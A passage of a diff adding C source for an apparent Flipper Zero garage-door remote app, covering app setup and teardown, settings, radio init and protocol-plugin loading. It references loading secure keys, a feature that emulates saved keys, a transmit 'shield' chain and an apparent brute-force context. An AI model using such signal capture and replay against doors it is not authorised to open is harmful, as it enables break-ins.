+    app->txrx->txrx_state = GDRTxRxStateIDLE;
+    app->radio_initialized = false;
+}
+
+GDRApp* gdr_app_alloc() {
+    gdr_storage_purge_temp_history_at_startup();
+    GDRApp* app = malloc(sizeof(GDRApp));
+    if(!app) {
+        FURI_LOG_E(TAG, "Failed to allocate GDRApp app !");
+        return NULL;
+    }
+    memset(app, 0, sizeof(GDRApp));
+
+    FURI_LOG_I(TAG, "Allocating GDR Decoder App");
+
+    // GUI
+    app->gui = furi_record_open(RECORD_GUI);
+
+    // View Dispatcher
+    app->view_dispatcher = view_dispatcher_alloc();
+#if defined(FW_ORIGIN_RM)
+    view_dispatcher_enable_queue(app->view_dispatcher);
+#endif
+    app->scene_manager = scene_manager_alloc(&gdr_scene_handlers, app);
+
+    view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
+    view_dispatcher_set_custom_event_callback(
+        app->view_dispatcher, gdr_app_custom_event_callback);
+    view_dispatcher_set_navigation_event_callback(
+        app->view_dispatcher, gdr_app_back_event_callback);
+    view_dispatcher_set_tick_event_callback(
+        app->view_dispatcher, gdr_app_tick_event_callback, 100);
+
+    view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
+
+    // Open Notification record
+    app->notifications = furi_record_open(RECORD_NOTIFICATION);
+
+    // Open Dialogs record
+    app->dialogs = furi_record_open(RECORD_DIALOGS);
+
+    // SubMenu
+    app->submenu = submenu_alloc();
+    view_dispatcher_add_view(
+        app->view_dispatcher, GDRViewSubmenu, submenu_get_view(app->submenu));
+
+    app->save_protocol = NULL;
+    app->save_from_saved_info = false;
+    app->save_history_idx = 0;
+    app->emulate_disabled_for_loaded = false;
+    memset(app->save_filename, 0, sizeof(app->save_filename));
+
+    // File Browser path
+    app->file_path = furi_string_alloc();
+    furi_string_set(app->file_path, GDR_APP_FOLDER);
+
+    // Load saved settings
+    GDRSettings settings;
+    gdr_settings_load(&settings);
+
+    // Apply auto-save setting
+    app->auto_save = settings.auto_save;
+    app->tx_power = settings.tx_power;
+    if(app->tx_power >= 9U) {
+        app->tx_power = 0;
+    }
+    app->emulate_feature_enabled = settings.emulate_feature_enabled;
+
+    // Init setting - KEEP THIS, it's small
+    app->setting = subghz_setting_alloc();
+    app->loaded_file_path = NULL;
+    app->start_tx_time = 0;
+    subghz_setting_load(app->setting, EXT_PATH("subghz/assets/setting_user"));
+
+    // Apply loaded frequency and preset, with validation
+    uint32_t frequency = settings.frequency;
+    uint8_t preset_index = settings.preset_index;
+
+    // Validate frequency
+    bool frequency_valid = false;
+    for(size_t i = 0; i < subghz_setting_get_frequency_count(app->setting); i++) {
+        if(subghz_setting_get_frequency(app->setting, i) == frequency) {
+            frequency_valid = true;
+            break;
+        }
+    }
+    if(!frequency_valid) {
+        frequency = subghz_setting_get_default_frequency(app->setting);
+        FURI_LOG_W(TAG, "Saved frequency invalid, using default: %lu", frequency);
+    }
+
+    // Validate preset index
+    if(preset_index >= subghz_setting_get_preset_count(app->setting)) {
+        preset_index = 0;
+        FURI_LOG_W(TAG, "Saved preset index invalid, using default");
+    }
+
+    // Initialize TxRx structure with minimal setup
+    app->lock = GDRLockOff;
+    app->txrx = malloc(sizeof(GDRTxRx));
+    furi_check(app->txrx);
+    memset(app->txrx, 0, sizeof(GDRTxRx));
+
+    app->txrx->preset = malloc(sizeof(SubGhzRadioPreset));
+    furi_check(app->txrx->preset);
+    app->txrx->preset->name = furi_string_alloc();
+    furi_check(app->txrx->preset->name);
+    app->txrx->txrx_state = GDRTxRxStateIDLE;
+    app->txrx->rx_key_state = GDRRxKeyStateIDLE;
+    app->txrx->protocol_registry_filter = GDRProtocolRegistryFilterAM;
+
+    // Get preset name and data
+    const char* preset_name = subghz_setting_get_preset_name(app->setting, preset_index);
+    uint8_t* preset_data = subghz_setting_get_preset_data(app->setting, preset_index);
+    size_t preset_data_size = subghz_setting_get_preset_data_size(app->setting, preset_index);
+
+    FURI_LOG_I(
+        TAG,
+        "Settings: freq=%lu, preset=%s, auto_save=%d, hopping=%d",
+        frequency,
+        preset_name,
+        settings.auto_save,
+        settings.hopping_enabled);
+
+    gdr_preset_init(app, preset_name, frequency, preset_data, preset_data_size);
+
+#ifdef ENABLE_DUAL_RX_SCENE
+
+    uint32_t default_frequency = subghz_setting_get_default_frequency(app->setting);
+    app->dual_freq_a = gdr_setting_has_frequency(app->setting, settings.dual_freq_a) ?
+                           settings.dual_freq_a :
+                           default_frequency;
+    app->dual_freq_b = gdr_setting_has_frequency(app->setting, settings.dual_freq_b) ?
+                           settings.dual_freq_b :
+                           default_frequency;
+    uint8_t preset_count = (uint8_t)subghz_setting_get_preset_count(app->setting);
+    uint8_t named_preset_a =
+        gdr_find_preset_by_name(app->setting, settings.dual_preset_name_a);
+    uint8_t named_preset_b =
+        gdr_find_preset_by_name(app->setting, settings.dual_preset_name_b);
+    app->dual_preset_a =
+        named_preset_a != UINT8_MAX ? named_preset_a : settings.dual_preset_a;
+    app->dual_preset_b =
+        named_preset_b != UINT8_MAX ? named_preset_b : settings.dual_preset_b;
+    if(preset_count == 0) {
+        app->dual_preset_a = UINT8_MAX;
+        app->dual_preset_b = UINT8_MAX;
+    } else if(app->dual_preset_a >= preset_count) {
+        app->dual_preset_a = gdr_find_preset_by_name_or_filter(
+            app->setting, "AM650", GDRProtocolRegistryFilterAM);
+        if(app->dual_preset_a == UINT8_MAX) {
+            app->dual_preset_a = 0;
+        }
+    }
+    if(app->dual_preset_b >= preset_count) {
+        app->dual_preset_b = gdr_find_preset_by_name_or_filter(
+            app->setting, "FM476", GDRProtocolRegistryFilterFM);
+        if(app->dual_preset_b == UINT8_MAX) {
+            app->dual_preset_b = 0;
+        }
+    }
+#endif
+
+#ifdef ENABLE_SHIELD_RX_SCENE
+    {
+        uint32_t default_frequency = subghz_setting_get_default_frequency(app->setting);
+        app->shield_freq = gdr_setting_has_frequency(app->setting, settings.shield_freq) ?
+                               settings.shield_freq :
+                               default_frequency;
+        app->shield_preset_index = settings.shield_preset_index;
+        if(app->shield_preset_index >= subghz_setting_get_preset_count(app->setting)) {
+            app->shield_preset_index = preset_index;
+        }
+        app->shield_tx_offset_index = settings.shield_tx_offset_index;
+        if(app->shield_tx_offset_index >= 12U) {
+            app->shield_tx_offset_index = 3U;
+        }
+        app->shield_tx_power = settings.shield_tx_power;
+        if(app->shield_tx_power >= 9U) {
+            app->shield_tx_power = 0U;
+        }
+    }
+#endif
+
+    // Apply hopping state from settings
+    app->txrx->hopper_state = settings.hopping_enabled ? GDRHopperStateRunning :
+                                                         GDRHopperStateOFF;
+    app->txrx->hopper_idx_frequency = 0;
+    app->txrx->hopper_timeout = 0;
+    app->txrx->idx_menu_chosen = 0;
+
+    app->radio_initialized = false;
+
+    return app;
+}
+
+bool gdr_radio_init(GDRApp* app) {
+    furi_check(app);
+    furi_check(app->txrx);
+
+    FURI_LOG_I(TAG, "=== gdr_radio_init called ===");
+    FURI_LOG_D(TAG, "State: radio_initialized=%d", app->radio_initialized);
+
+    if(app->radio_initialized) {
+        const bool radio_ready = (app->txrx->environment != NULL) &&
+                                 (app->txrx->radio_device != NULL);
+        if(radio_ready) {
+            FURI_LOG_D(TAG, "Radio already initialized, returning true");
+            return true;
+        }
+
+        FURI_LOG_W(
+            TAG,
+            "Radio marked initialized but resources missing (env=%p device=%p), repairing",
+            app->txrx->environment,
+            app->txrx->radio_device);
+        gdr_radio_deinit(app);
+    }
+
+    // Fresh radio init - nothing was initialized before
+    FURI_LOG_I(TAG, "Fresh radio init - allocating all components");
+
+    // Create environment with our custom protocols
+    app->txrx->environment = subghz_environment_alloc();
+    if(!app->txrx->environment) {
+        FURI_LOG_E(TAG, "Failed to allocate environment!");
+        gdr_radio_init_cleanup(app, false);
+        return false;
+    }
+
+    app->txrx->protocol_registry = NULL;
+
+    if(!gdr_refresh_protocol_registry(app, false)) {
+        FURI_LOG_E(TAG, "Failed to configure protocol registry");
+        gdr_radio_init_cleanup(app, false);
+        return false;
+    }
+
+    // Load keystores
+    subghz_environment_load_keystore(app->txrx->environment, GDR_KEYSTORE_DIR_NAME);
+
+    // Load GDR specific keys
+    gdr_keys_load(app->txrx->environment);
+    FURI_LOG_I(TAG, "Loaded GDR secure keys");
+
+    // Initialize SubGhz devices
+    subghz_devices_init();
+    FURI_LOG_D(TAG, "SubGhz devices initialized");
+
+    // Try external CC1101 first
+    app->txrx->radio_device = radio_device_loader_set(NULL, SubGhzRadioDeviceTypeExternalCC1101);
+
+    // if not loading, fallback to internal
+    if(!app->txrx->radio_device) {
+        FURI_LOG_W(TAG, "External CC1101 not found, trying internal radio");
+        app->txrx->radio_device = radio_device_loader_set(NULL, SubGhzRadioDeviceTypeInternal);
+    }
+
+    if(!app->txrx->radio_device) {
+        FURI_LOG_E(TAG, "Failed to initialize any radio device!");
+        gdr_radio_init_cleanup(app, true);
+        return false;
+    }
+#ifndef REMOVE_LOGS
+    const char* device_name = subghz_devices_get_name(app->txrx->radio_device);
+    bool is_external = device_name && strstr(device_name, "ext");
+    FURI_LOG_I(
+        TAG,
+        "Radio device initialized: %s (%s)",
+        device_name ? device_name : "unknown",
+        is_external ? "external" : "internal");
+#endif
+    subghz_devices_reset(app->txrx->radio_device);
+    subghz_devices_idle(app->txrx->radio_device);
+
+    app->radio_initialized = true;
+
+    FURI_LOG_D(TAG, "Final state: radio_initialized=%d", app->radio_initialized);
+
+    return true;
+}
+
+// Deinitialize radio subsystem
+void gdr_radio_deinit(GDRApp* app) {
+    FURI_LOG_I(TAG, "=== gdr_radio_deinit called ===");
+    FURI_LOG_D(TAG, "State: radio_initialized=%d", app->radio_initialized);
+    FURI_LOG_D(
+        TAG,
+        "Pointers: worker=%p, environment=%p, receiver=%p, history=%p, radio_device=%p",
+        app->txrx->worker,
+        app->txrx->environment,
+        app->txrx->receiver,
+        app->txrx->history,
+        app->txrx->radio_device);
+
+    bool has_radio_resources = app->radio_initialized || app->txrx->worker ||
+                               app->txrx->environment || app->txrx->receiver ||
+                               app->txrx->history || app->txrx->radio_device;
+    if(!has_radio_resources) {
+        FURI_LOG_D(TAG, "Radio resources were not initialized, returning");
+        return;
+    }
+
+    bool devices_initialized = app->radio_initialized || (app->txrx->radio_device != NULL);
+
+    // Make sure we're not receiving
+    if(app->txrx->worker && app->txrx->txrx_state == GDRTxRxStateRx) {
+        FURI_LOG_D(TAG, "Stopping active RX, state=%d", app->txrx->txrx_state);
+        subghz_worker_stop(app->txrx->worker);
+        if(app->txrx->radio_device) {
+            subghz_devices_stop_async_rx(app->txrx->radio_device);
+        }
+    }
+
+    if(app->txrx->radio_device) {
+        FURI_LOG_D(TAG, "Putting radio device to sleep and ending: %p", app->txrx->radio_device);
+        subghz_devices_sleep(app->txrx->radio_device);
+        radio_device_loader_end(app->txrx->radio_device);
+        app->txrx->radio_device = NULL;
+    } else {
+        FURI_LOG_D(TAG, "Radio device was NULL, skipping sleep/end");
+    }
+
+    if(devices_initialized) {
+        FURI_LOG_D(TAG, "Calling subghz_devices_deinit");
+        subghz_devices_deinit();
+    }
+
+    if(app->txrx->receiver) {
+        FURI_LOG_D(TAG, "Freeing receiver %p", app->txrx->receiver);
+        subghz_receiver_free(app->txrx->receiver);
+        app->txrx->receiver = NULL;
+    } else {
+        FURI_LOG_D(TAG, "Receiver was NULL, skipping free");
+    }
+
+    if(app->txrx->environment) {
+        FURI_LOG_D(TAG, "Freeing environment %p", app->txrx->environment);
+        subghz_environment_free(app->txrx->environment);
+        app->txrx->environment = NULL;
+        app->txrx->protocol_registry = NULL;
+    } else {
+        FURI_LOG_D(TAG, "Environment was NULL, skipping free");
+    }
+
+    if(app->txrx->protocol_plugin_manager) {
+        FURI_LOG_D(TAG, "Freeing protocol plugin manager %p", app->txrx->protocol_plugin_manager);
+        plugin_manager_free(app->txrx->protocol_plugin_manager);
+        app->txrx->protocol_plugin_manager = NULL;
+    }
+
+    if(app->txrx->plugin_resolver) {
+        FURI_LOG_D(TAG, "Freeing plugin resolver %p", app->txrx->plugin_resolver);
+        composite_api_resolver_free(app->txrx->plugin_resolver);
+        app->txrx->plugin_resolver = NULL;
+    }
+    app->txrx->protocol_plugin = NULL;
+
+    if(app->txrx->history) {
+        FURI_LOG_D(TAG, "Freeing history %p", app->txrx->history);
+        if(app->selected_capture.history == app->txrx->history) {
+            gdr_selected_capture_clear(app);
+        }
+        gdr_history_free(app->txrx->history);
+        app->txrx->history = NULL;
+    } else {
+        FURI_LOG_D(TAG, "History was NULL, skipping free");
+    }
+
+    if(app->txrx->worker) {
+        FURI_LOG_D(TAG, "Freeing worker %p", app->txrx->worker);
+        subghz_worker_free(app->txrx->worker);
+        app->txrx->worker = NULL;
+    } else {
+        FURI_LOG_D(TAG, "Worker was NULL, skipping free");
+    }
+
+    app->txrx->txrx_state = GDRTxRxStateIDLE;
+    app->radio_initialized = false;
+
+    FURI_LOG_D(TAG, "Final state: radio_initialized=%d", app->radio_initialized);
+}
+
+void gdr_app_free(GDRApp* app) {
+    furi_check(app);
+
+    FURI_LOG_I(TAG, "=== gdr_app_free called ===");
+    FURI_LOG_D(TAG, "State: radio_initialized=%d", app->radio_initialized);
+
+    // Save settings before exiting
+    GDRSettings settings;
+    gdr_settings_load(&settings);
+    settings.frequency = app->txrx->preset->frequency;
+    settings.auto_save = app->auto_save;
+    settings.tx_power = app->tx_power;
+    settings.hopping_enabled = (app->txrx->hopper_state != GDRHopperStateOFF);
+    settings.emulate_feature_enabled = app->emulate_feature_enabled;
+#ifdef ENABLE_DUAL_RX_SCENE
+    settings.dual_freq_a = app->dual_freq_a;
+    settings.dual_freq_b = app->dual_freq_b;
+    settings.dual_preset_a = app->dual_preset_a;
+    settings.dual_preset_b = app->dual_preset_b;
+    settings.dual_preset_name_a[0] = '\0';
+    settings.dual_preset_name_b[0] = '\0';
+    size_t dual_preset_count = subghz_setting_get_preset_count(app->setting);
+    if(app->dual_preset_a < dual_preset_count) {
+        snprintf(
+            settings.dual_preset_name_a,
+            sizeof(settings.dual_preset_name_a),
+            "%s",
+            subghz_setting_get_preset_name(app->setting, app->dual_preset_a));
+    }
+    if(app->dual_preset_b < dual_preset_count) {
+        snprintf(
+            settings.dual_preset_name_b,
+            sizeof(settings.dual_preset_name_b),
+            "%s",
+            subghz_setting_get_preset_name(app->setting, app->dual_preset_b));
+    }
+#endif
+#ifdef ENABLE_SHIELD_RX_SCENE
+    settings.shield_freq = app->shield_freq;
+    settings.shield_preset_index = app->shield_preset_index;
+    settings.shield_tx_offset_index = app->shield_tx_offset_index;
+    settings.shield_tx_power = app->shield_tx_power;
+#endif
+
+    // Find current preset index
+    settings.preset_index = 0;
+    const char* current_preset = furi_string_get_cstr(app->txrx->preset->name);
+    for(uint8_t i = 0; i < subghz_setting_get_preset_count(app->setting); i++) {
+        if(strcmp(subghz_setting_get_preset_name(app->setting, i), current_preset) == 0) {
+            settings.preset_index = i;
+            break;
+        }
+    }
+
+    FURI_LOG_I(
+        TAG,
+        "Saving settings: freq=%lu, preset=%u, auto_save=%d, hopping=%d, emulate=%d",
+        settings.frequency,
+        settings.preset_index,
+        settings.auto_save,
+        settings.hopping_enabled,
+        settings.emulate_feature_enabled);
+
+    gdr_settings_save(&settings);
+
+    // Deinitialize whichever is active - NULL checks inside handle all cases
+    FURI_LOG_D(TAG, "Calling radio_deinit");
+    gdr_radio_deinit(app);
+
+    if(app->loaded_file_path) {
+        FURI_LOG_D(TAG, "Freeing loaded_file_path");
+        furi_string_free(app->loaded_file_path);
+        app->loaded_file_path = NULL;
+    }
+
+    // Submenu
+    if(app->submenu) {
+        FURI_LOG_D(TAG, "Removing submenu view");
+        view_dispatcher_remove_view(app->view_dispatcher, GDRViewSubmenu);
+        submenu_free(app->submenu);
+    }
+
+    // Variable Item List
+    if(app->variable_item_list) {
+        FURI_LOG_D(TAG, "Removing variable_item_list view");
+        view_dispatcher_remove_view(app->view_dispatcher, GDRViewVariableItemList);
+        variable_item_list_free(app->variable_item_list);
+    }
+
+    // About View
+    if(app->view_about) {
+        FURI_LOG_D(TAG, "Removing about view");
+        view_dispatcher_remove_view(app->view_dispatcher, GDRViewAbout);
+        view_free(app->view_about);
+    }
+
+    // File path
+    if(app->file_path) {
+        FURI_LOG_D(TAG, "Freeing file_path");
+        furi_string_free(app->file_path);
+    }
+
+    // Widget
+    if(app->widget) {
+        FURI_LOG_D(TAG, "Removing widget view");
+        view_dispatcher_remove_view(app->view_dispatcher, GDRViewWidget);
+        widget_free(app->widget);
+    }
+
+    // Text Input
+    if(app->text_input) {
+        FURI_LOG_D(TAG, "Removing text_input view");
+        view_dispatcher_remove_view(app->view_dispatcher, GDRViewTextInput);
+        text_input_free(app->text_input);
+    }
+    if(app->save_protocol) {
+        furi_string_free(app->save_protocol);
+        app->save_protocol = NULL;
+    }
+
+    // Receiver
+    if(app->gdr_receiver) {
+        FURI_LOG_D(TAG, "Removing receiver view");
+        view_dispatcher_remove_view(app->view_dispatcher, GDRViewReceiver);
+        gdr_view_receiver_free(app->gdr_receiver);
+    }
+
+#ifdef ENABLE_DUAL_RX_SCENE
+
+    bool dual_devices_initialized = app->dual_chain_a || app->dual_chain_b;
+    if(app->dual_chain_a) {
+        gdr_rx_chain_free(app->dual_chain_a);
+        app->dual_chain_a = NULL;
+    }
+    if(app->dual_chain_b) {
+        gdr_rx_chain_free(app->dual_chain_b);
+        app->dual_chain_b = NULL;
+    }
+    if(dual_devices_initialized) {
+        subghz_devices_deinit();
+    }
+    if(app->dual_receiver) {
+        FURI_LOG_D(TAG, "Removing dual receiver view");
+        view_dispatcher_remove_view(app->view_dispatcher, GDRViewDualReceiver);
+        gdr_view_dual_receiver_free(app->dual_receiver);
+        app->dual_receiver = NULL;
+    }
+    if(app->dual_history) {
+        if(app->selected_capture.history == app->dual_history) {
+            gdr_selected_capture_clear(app);
+        }
+        gdr_history_free(app->dual_history);
+        app->dual_history = NULL;
+    }
+    if(app->dual_history_mutex) {
+        furi_mutex_free(app->dual_history_mutex);
+        app->dual_history_mutex = NULL;
+    }
+#endif
+
+#ifdef ENABLE_SHIELD_RX_SCENE
+    bool shield_devices_initialized = app->shield_rx_chain || app->shield_tx_chain;
+    if(app->shield_rx_chain) {
+        gdr_rx_chain_free(app->shield_rx_chain);
+        app->shield_rx_chain = NULL;
+    }
+    if(app->shield_tx_chain) {
+        gdr_tx_chain_free(app->shield_tx_chain);
+        app->shield_tx_chain = NULL;
+    }
+    if(shield_devices_initialized) {
+        subghz_devices_deinit();
+    }
+    if(app->shield_history) {
+        if(app->selected_capture.history == app->shield_history) {
+            gdr_selected_capture_clear(app);
+        }
+        gdr_history_free(app->shield_history);
+        app->shield_history = NULL;
+    }
+    if(app->shield_history_mutex) {
+        furi_mutex_free(app->shield_history_mutex);
+        app->shield_history_mutex = NULL;
+    }
+#endif
+
+    gdr_psa_bf_context_release(app);
+
+    // Setting
+    FURI_LOG_D(TAG, "Freeing subghz_setting");
+    subghz_setting_free(app->setting);
+
+    // Free preset
+    FURI_LOG_D(TAG, "Freeing preset");
+    furi_string_free(app->txrx->preset->name);
+    free(app->txrx->preset);
+
+    free(app->txrx);
+
+#ifdef ENABLE_EMULATE_FEATURE
+    gdr_emulate_context_release(app);
+#endif
+
+    pp_shared_upload_release();
+
+    // View dispatcher
+    FURI_LOG_D(TAG, "Freeing view_dispatcher and scene_manager");
+    view_dispatcher_free(app->view_dispatcher);
+    scene_manager_free(app->scene_manager);
+
+    // Close Dialogs
+    FURI_LOG_D(TAG, "Closing dialogs record");
+    furi_record_close(RECORD_DIALOGS);
+    app->dialogs = NULL;
+
+    // Notifications
+    FURI_LOG_D(TAG, "Closing notifications record");
+    furi_record_close(RECORD_NOTIFICATION);
+    app->notifications = NULL;
+
+    // Close records
+    FURI_LOG_D(TAG, "Closing GUI record");
+    furi_record_close(RECORD_GUI);
+
+    FURI_LOG_I(TAG, "App free complete");
+    free(app);
+}
+
+int32_t gdr_app(char* p) {
+    furi_hal_power_suppress_charge_enter();
+
+    GDRApp* gdr_app = gdr_app_alloc();
+    if(!gdr_app) {
+        // logging is already done in gdr_app_alloc()
+        furi_hal_power_suppress_charge_exit();
+        return -1;
+    }
+
+    // Handle Command line PSF that may have been passed to us
+    bool load_saved = (p && strlen(p));
+    if(load_saved) gdr_app->loaded_file_path = furi_string_alloc_set(p);
+    scene_manager_next_scene(
+        gdr_app->scene_manager,
+        (load_saved) ? GDRSceneSavedInfo : GDRSceneStart);
+
+    //We now jump straight to emulate scene from Browser. If the user wanted the key to look at, just click back.
+    if(load_saved) {
+        if(gdr_app->emulate_feature_enabled) {
+            view_dispatcher_send_custom_event(
+                gdr_app->view_dispatcher, GDRCustomEventSavedInfoEmulate);
+            notification_message(gdr_app->notifications, &sequence_success);
+        } else {
+            view_dispatcher_send_custom_event(
+                gdr_app->view_dispatcher, GDRCustomEventReceiverInfoSave);
+        }
+    }
+
+    view_dispatcher_run(gdr_app->view_dispatcher);
+
+    gdr_app_free(gdr_app);
+
+    furi_hal_power_suppress_charge_exit();
+
+    return 0;
+}

applications/system/Garage Door Remote/gdr_app_i.c

@@ -0,0 +1,569 @@
+// gdr_app_i.c
+#include "gdr_app_i.h"
+#include "protocols/protocol_items.h"
+#include <loader/firmware_api/firmware_api.h>
+#include <stdio.h>
+
+#define TAG "GDRTxRx"
+
+void gdr_selected_capture_set(
+    GDRApp* app,
+    GDRHistory* history,
+    FuriMutex* mutex,
+    uint16_t index,
+    GDRCaptureOwner owner) {
+    furi_check(app);
+    app->selected_capture.history = history;
+    app->selected_capture.mutex = mutex;
+    app->selected_capture.index = index;
+    app->selected_capture.owner = owner;
+}
+
+void gdr_selected_capture_clear(GDRApp* app) {
+    furi_check(app);
+    memset(&app->selected_capture, 0, sizeof(app->selected_capture));
+}
+
+bool gdr_selected_capture_is_valid(GDRApp* app) {
+    furi_check(app);
+    GDRSelectedCapture* selected = &app->selected_capture;
+    if(!selected->history || selected->owner == GDRCaptureOwnerNone) {
+        return false;
+    }
+    if(selected->mutex) {
+        furi_mutex_acquire(selected->mutex, FuriWaitForever);
+    }
+    bool valid = selected->index < gdr_history_get_item(selected->history);
+    if(selected->mutex) {
+        furi_mutex_release(selected->mutex);
+    }
+    return valid;
+}
+
+GDRHistory* gdr_selected_capture_get_history(GDRApp* app) {
+    return gdr_selected_capture_is_valid(app) ? app->selected_capture.history : NULL;
+}
+
+uint16_t gdr_selected_capture_get_index(GDRApp* app) {
+    furi_check(app);
+    return app->selected_capture.index;
+}
+
+GDRHistorySource gdr_selected_capture_get_source(GDRApp* app) {
+    GDRHistory* history = gdr_selected_capture_get_history(app);
+    if(!history) {
+        return GDRHistorySourceUnknown;
+    }
+    return gdr_history_get_source(history, app->selected_capture.index);
+}
+
+FlipperFormat* gdr_selected_capture_get_raw_data(GDRApp* app) {
+    GDRHistory* history = gdr_selected_capture_get_history(app);
+    if(!history) {
+        return NULL;
+    }
+    return gdr_history_get_raw_data(history, app->selected_capture.index);
+}
+
+bool gdr_selected_capture_get_path(GDRApp* app, FuriString* out_path) {
+    furi_check(out_path);
+    GDRHistory* history = gdr_selected_capture_get_history(app);
+    if(!history) {
+        return false;
+    }
+    return gdr_history_get_capture_path(history, app->selected_capture.index, out_path);
+}
+
+void gdr_selected_capture_release_scratch(GDRApp* app) {
+    furi_check(app);
+    if(app->selected_capture.history) {
+        gdr_history_release_scratch(app->selected_capture.history);
+    }
+}
+
+static const char* gdr_get_registry_plugin_path(GDRProtocolRegistryFilter filter) {
+    return (filter == GDRProtocolRegistryFilterFM) ?
+               APP_ASSETS_PATH("plugins/gdr_fm_plugin.fal") :
+               APP_ASSETS_PATH("plugins/gdr_am_plugin.fal");
+}
+
+static void gdr_unload_protocol_plugin(GDRTxRx* txrx) {
+    furi_check(txrx);
+
+    txrx->protocol_plugin = NULL;
+    txrx->protocol_registry = NULL;
+
+    if(txrx->protocol_plugin_manager) {
+        plugin_manager_free(txrx->protocol_plugin_manager);
+        txrx->protocol_plugin_manager = NULL;
+    }
+
+    if(txrx->plugin_resolver) {
+        composite_api_resolver_free(txrx->plugin_resolver);
+        txrx->plugin_resolver = NULL;
+    }
+}
+
+static void gdr_teardown_receiver_stack_for_registry_switch(GDRApp* app) {
+    furi_check(app);
+    furi_check(app->txrx);
+
+    if(app->txrx->txrx_state == GDRTxRxStateRx) {
+        gdr_rx_end(app);
+    }
+
+    if(app->txrx->receiver) {
+        subghz_receiver_set_rx_callback(app->txrx->receiver, NULL, NULL);
+        subghz_receiver_free(app->txrx->receiver);
+        app->txrx->receiver = NULL;
+    }
+
+    if(app->txrx->worker) {
+        if(subghz_worker_is_running(app->txrx->worker)) {
+            subghz_worker_stop(app->txrx->worker);
+        }
+        subghz_worker_free(app->txrx->worker);
+        app->txrx->worker = NULL;
+    }
+
+    if(app->txrx->radio_device && app->txrx->txrx_state != GDRTxRxStateTx) {
+        subghz_devices_idle(app->txrx->radio_device);
+        app->txrx->txrx_state = GDRTxRxStateIDLE;
+    }
+}
+
+static bool gdr_ensure_protocol_registry_plugin(
+    GDRApp* app,
+    GDRProtocolRegistryFilter filter,
+    const SubGhzProtocolRegistry** registry) {
+    furi_check(app);
+    furi_check(app->txrx);
+    furi_check(registry);
+
+    *registry = NULL;
+
+    if(!app->txrx->environment) {
+        FURI_LOG_E(TAG, "Cannot load protocol plugin without radio environment");
+        return false;
+    }
+
+    if(app->txrx->protocol_plugin && app->txrx->protocol_plugin->registry &&
+       app->txrx->protocol_registry_filter == filter) {
+        *registry = app->txrx->protocol_plugin->registry;
+        return true;
+    }
+
+    if(app->txrx->protocol_plugin || app->txrx->protocol_plugin_manager ||
+       app->txrx->plugin_resolver) {
+        gdr_unload_protocol_plugin(app->txrx);
+    }
+
+    CompositeApiResolver* resolver = composite_api_resolver_alloc();
+    if(!resolver) {
+        FURI_LOG_E(TAG, "Failed to allocate protocol plugin resolver");
+        return false;
+    }
+    composite_api_resolver_add(resolver, firmware_api_interface);
+
+    PluginManager* manager = plugin_manager_alloc(
+        GDR_PROTOCOL_PLUGIN_APP_ID,
+        GDR_PROTOCOL_PLUGIN_API_VERSION,
+        composite_api_resolver_get(resolver));
+    if(!manager) {
+        FURI_LOG_E(TAG, "Failed to allocate protocol plugin manager");
+        composite_api_resolver_free(resolver);
+        return false;
+    }
+
+    const char* plugin_path = gdr_get_registry_plugin_path(filter);
+    PluginManagerError error = plugin_manager_load_single(manager, plugin_path);
+    if(error != PluginManagerErrorNone) {
+        FURI_LOG_E(TAG, "Failed to load protocol plugin %s: %d", plugin_path, (int)error);
+        plugin_manager_free(manager);
+        composite_api_resolver_free(resolver);
+        return false;
+    }
+
+    const GDRProtocolPlugin* plugin = plugin_manager_get_ep(manager, 0U);
+    if(!plugin || !plugin->registry) {
+        FURI_LOG_E(TAG, "Protocol plugin entry point is invalid");
+        plugin_manager_free(manager);
+        composite_api_resolver_free(resolver);
+        return false;
+    }
+
+    if(plugin->filter != filter) {
+        FURI_LOG_E(
+            TAG, "Protocol plugin filter mismatch (expected %d got %d)", filter, plugin->filter);
+        plugin_manager_free(manager);
+        composite_api_resolver_free(resolver);
+        return false;
+    }
+
+    app->txrx->plugin_resolver = resolver;
+    app->txrx->protocol_plugin_manager = manager;
+    app->txrx->protocol_plugin = plugin;
+    app->txrx->protocol_registry_filter = filter;
+    *registry = plugin->registry;
+    return true;
+}
+
+bool gdr_refresh_protocol_registry(GDRApp* app, bool ensure_receiver_ready) {
+    furi_check(app);
+    furi_check(app->txrx);
+
+    if(!app->txrx->environment || !app->txrx->preset) {
+        return true;
+    }
+
+    GDRProtocolRegistryFilter filter = gdr_get_protocol_registry_filter_for_preset(
+        app->txrx->preset->data, app->txrx->preset->data_size);
+    bool filter_changed = !app->txrx->protocol_plugin ||
+                          (app->txrx->protocol_registry_filter != filter);
+
+    if(filter_changed) {
+        gdr_teardown_receiver_stack_for_registry_switch(app);
+    } else if(ensure_receiver_ready && !app->txrx->receiver) {
+        gdr_teardown_receiver_stack_for_registry_switch(app);
+    }
+
+    const SubGhzProtocolRegistry* registry = NULL;
+    if(!gdr_ensure_protocol_registry_plugin(app, filter, &registry) || !registry) {
+        FURI_LOG_E(
+            TAG,
+            "Failed to resolve %s protocol registry plugin",
+            gdr_get_protocol_registry_filter_name(filter));
+        return false;
+    }
+
+    const bool registry_already_bound = (app->txrx->protocol_registry == registry);
+    if(!registry_already_bound) {
+        FURI_LOG_I(
+            TAG,
+            "Using %s protocol registry (%zu protocols)",
+            gdr_get_protocol_registry_filter_name(filter),
+            registry->size);
+        subghz_environment_set_protocol_registry(app->txrx->environment, registry);
+        app->txrx->protocol_registry = registry;
+    }
+
+    if(!ensure_receiver_ready) {
+        return true;
+    }
+
+    if(app->txrx->receiver) {
+        return true;
+    }
+
+    app->txrx->receiver = subghz_receiver_alloc_init(app->txrx->environment);
+    if(!app->txrx->receiver) {
+        FURI_LOG_E(
+            TAG,
+            "Failed to allocate receiver for %s registry",
+            gdr_get_protocol_registry_filter_name(filter));
+        return false;
+    }
+
+    subghz_receiver_set_filter(app->txrx->receiver, SubGhzProtocolFlag_Decodable);
+    return true;
+}
+
+bool gdr_apply_protocol_registry_for_preset_data(
+    GDRApp* app,
+    const uint8_t* preset_data,
+    size_t preset_data_size) {
+    furi_check(app);
+    furi_check(app->txrx);
+
+    if(!app->txrx->environment) {
+        return false;
+    }
+
+    GDRProtocolRegistryFilter filter =
+        gdr_get_protocol_registry_filter_for_preset(preset_data, preset_data_size);
+
+    bool filter_changed = !app->txrx->protocol_plugin ||
+                          (app->txrx->protocol_registry_filter != filter);
+
+    if(filter_changed) {
+        gdr_teardown_receiver_stack_for_registry_switch(app);
+    }
+
